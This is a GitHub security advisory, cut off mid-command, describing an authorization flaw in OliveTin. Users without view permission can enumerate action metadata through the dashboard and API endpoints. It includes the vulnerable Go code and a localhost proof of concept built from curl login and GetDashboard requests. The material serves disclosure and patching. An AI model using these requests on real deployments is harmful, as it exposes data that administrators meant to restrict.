GitHub Security Advisory: GHSA-jf73-858c-54pg
Package: github.com/OliveTin/OliveTin (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-862: Missing Authorization
Vulnerable versions: < 0.0.0[PII_REDACTED]2002-d7962710e7c4
Patched in: 0.0.0[PII_REDACTED]2002-d7962710e7c4

Summary: OliveTin doesn't check view permission when returning dashboards

Details:
### Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.

Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.

### Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.

Relevant source locations:

dashboards.go (around line 120, 132)
apiActions.go (around line 122)
acl.go (around line 125)
api.go (around line 430)

Dashboard building logic:
```
for _, binding := range rr.ex.MapActionBindings {
    if binding.Action.Hidden { continue }
    action := buildAction(binding, rr) // checks IsAllowedExec only
    fieldset.Contents = append(fieldset.Contents, ...)
}
```
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).

### PoC




1. Configure OliveTin with a restricted user:

Create config.yaml:

```yaml
authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: admin
      [CREDENTIAL_REDACTED]=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # [CREDENTIAL_REDACTED]
      permissions:
        view: true
        exec: true
        logs: true
    
    - username: low
      [CREDENTIAL_REDACTED]=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # [CREDENTIAL_REDACTED]
      permissions:
        view: false   # Should hide all actions
        exec: false
        logs: false

actions:
  - title: "Secret Action"
    id: secret_action
    shell: echo "sensitive operation"
    icon: "🔒"
    description: "This action should be completely hidden"
    arguments:
      - name: target
        title: Target
        type: string
        default: production
```
2. Start OliveTin with this configuration

3. Login as low-privilege user and capture session ID:

```bash
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"low123"}' \
  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')

echo "Low user SID: $LOW_SID"
```
4. Verify the web UI respects view:false (optional but illustrative):

Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.

5. Test 1: GetDashboard endpoint leaks action metadata:

```bash
curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"title":"Actions"}' | jq '.fieldsets[0].conte